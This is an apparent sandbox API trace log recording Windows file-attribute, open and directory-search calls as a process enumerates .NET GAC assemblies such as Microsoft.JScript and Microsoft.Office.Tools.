	[0088.628] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Internal.Tasks.Dataflow\\v4.0_4.0.0.0__b77a5c561934e089\\Microsoft.Internal.Tasks.Dataflow.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.internal.tasks.dataflow\\v4.0_4.0.0.0__b77a5c561934e089\\microsoft.internal.tasks.dataflow.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492378 | out: lpFileInformation=0x12492378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cccd980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x2cf08)) returned 1
	[0088.628] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.jscript"), fInfoLevelId=0x0, lpFileInformation=0x124923c8 | out: lpFileInformation=0x124923c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93363c00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93363c00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93363c00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.628] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.jscript"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.628] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93363c00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x93363c00, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x93363c00, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.629] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.jscript\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492468 | out: lpFileInformation=0x12492468*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9333daa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cebcb60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cebcb60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.629] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.jscript\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.629] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9333daa0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x5cebcb60, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x5cebcb60, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.629] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.JScript\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.JScript.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.jscript\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.jscript.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492508 | out: lpFileInformation=0x12492508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x5cee2cc0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0xb7cc8)) returned 1
	[0088.629] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools"), fInfoLevelId=0x0, lpFileInformation=0x12492558 | out: lpFileInformation=0x12492558*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5bad540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5bad540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bad540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.630] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.630] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5bad540, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5bad540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bad540, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.630] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x124925f8 | out: lpFileInformation=0x124925f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35a99e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35a99e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35a99e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.630] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.630] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35a99e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35a99e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35a99e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.630] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492698 | out: lpFileInformation=0x12492698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35a99e0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35a99e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35a99e0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x3b68)) returned 1
	[0088.630] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common"), fInfoLevelId=0x0, lpFileInformation=0x124926e8 | out: lpFileInformation=0x124926e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.631] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.631] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.631] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492788 | out: lpFileInformation=0x12492788*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd355d720, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd355d720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd355d720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.631] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.631] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd355d720, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd355d720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd355d720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.631] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.631] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Common.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.common.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492828 | out: lpFileInformation=0x12492828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd355d720, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd355d720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd355d720, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x16578)) returned 1
	[0088.632] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common.implementation"), fInfoLevelId=0x0, lpFileInformation=0x12492878 | out: lpFileInformation=0x12492878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.632] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common.implementation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.632] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5ef3380, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5ef3380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5ef3380, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.632] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.632] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492918 | out: lpFileInformation=0x12492918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35375c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35375c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35375c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.632] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.632] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35375c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35375c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35375c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.632] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Common.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Common.Implementation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.common.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.common.implementation.dll"), fInfoLevelId=0x0, lpFileInformation=0x124929b8 | out: lpFileInformation=0x124929b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd35375c0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35375c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35375c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x57398)) returned 1
	[0088.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel"), fInfoLevelId=0x0, lpFileInformation=0x12492a08 | out: lpFileInformation=0x12492a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.633] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.633] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5a30780, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5a30780, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5a30780, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.633] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.633] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492aa8 | out: lpFileInformation=0x12492aa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd361be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd361be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd361be00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.633] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.634] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x12415850 | out: lpFindFileData=0x12415850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd361be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd361be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd361be00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.634] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\Microsoft.Office.Tools.Excel.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel\\v4.0_10.0.0.0__b03f5f7f11d50a3a\\microsoft.office.tools.excel.dll"), fInfoLevelId=0x0, lpFileInformation=0x12492b48 | out: lpFileInformation=0x12492b48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd361be00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd361be00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd361be00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x29d78)) returned 1
	[0088.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel.implementation"), fInfoLevelId=0x0, lpFileInformation=0x12492b98 | out: lpFileInformation=0x12492b98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61280, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5b61280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b61280, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.634] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel.implementation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.634] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\*", lpFindFileData=0x124158b4 | out: lpFindFileData=0x124158b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5b61280, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xf5b61280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5b61280, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.634] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.634] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\Microsoft.Office.Tools.Excel.Implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\microsoft.office.tools.excel.implementation\\v4.0_10.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x12492c38 | out: lpFileInformation=0x12492c38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd35cfb40, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xd35cfb40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd35cfb40, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
